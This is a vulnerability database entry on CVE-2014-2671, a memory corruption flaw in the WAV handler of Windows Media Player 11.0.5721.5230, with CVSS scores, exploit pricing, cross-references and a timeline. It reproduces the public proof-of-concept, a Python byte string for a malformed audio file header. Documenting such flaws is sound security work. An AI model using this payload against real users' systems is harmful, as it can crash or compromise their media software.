Microsoft Windows Media Player 11.0.5721.5230 WAV File memory corruption

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.6	$0-$5k	0.00

Summaryinfo

A vulnerability classified as critical has been found in Microsoft Windows Media Player 11.0.5721.5230. The affected element is an unknown function of the component WAV File Handler. Performing a manipulation results in memory corruption. This vulnerability is identified as CVE-2014-2671. Additionally, an exploit exists.

Detailsinfo

A vulnerability, which was classified as critical, was found in Microsoft Windows Media Player 11.0.5721.5230 (Operating System). This affects some unknown processing of the component WAV File Handler. The manipulation with an unknown input leads to a memory corruption vulnerability. CWE is classifying the issue as CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:

Microsoft Windows Media Player (WMP) 11.0.5721.5230 allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via a crafted WAV file.

The weakness was released 03/24/2014 by Tunisian Cyber as File 125834 (Packetstorm). It is possible to read the advisory at packetstormsecurity.com. The vendor was not involved in the public release. This vulnerability is uniquely identified as CVE-2014-2671 since 03/29/2014. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details are unknown but a public exploit is available. The pricing for an exploit might be around USD $0-$5k at the moment (estimation calculated on 05/09/2026).

A public exploit has been developed by TUNISIAN CYBER (Tunisian Cyber) in Python and been published immediately after the advisory. The exploit is shared for download at packetstormsecurity.com. It is declared as proof-of-concept. We expect the 0-day to have been worth approximately $100k and more. The commercial vulnerability scanner Qualys is able to test this issue with plugin 121878 (Microsoft Windows Media Player ".wav" File Memory Corruption Vulnerability). The code used by the exploit is:

header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the databases at X-Force (92080), Exploit-DB (32483), SecurityFocus (BID 66403†) and OSVDB (95569†). Entries connected to this vulnerability are available at VDB-9715 and VDB-66827. Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Type

Operating System

Vendor

Microsoft

Name

Windows Media Player

Version

11.0.5721.5230

License

commercial

Support

end of life (old version)

Website

Vendor: https://www.microsoft.com/

CPE 2.3info

🔍

CPE 2.2info

🔍

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 7.3
VulDB Meta Temp Score: 6.6

VulDB Base Score: 7.3
VulDB Temp Score: 6.6
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Memory corruption
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: TUNISIAN CYBER (Tunisian Cyber)
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	Unlock	Unlock	Unlock	Unlock
Today	Unlock	Unlock	Unlock	Unlock

OpenVAS ID: 800332
OpenVAS Name: Microsoft Windows Media Player .wav File Memory Corruption Vulnerability
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

03/24/2014 🔍
03/24/2014 +0 days 🔍
03/24/2014 +0 days 🔍
03/24/2014 +0 days 🔍
03/29/2014 +5 days 🔍
03/31/2014 +2 days 🔍
03/31/2014 +0 days 🔍
05/09/2026 +4422 days 🔍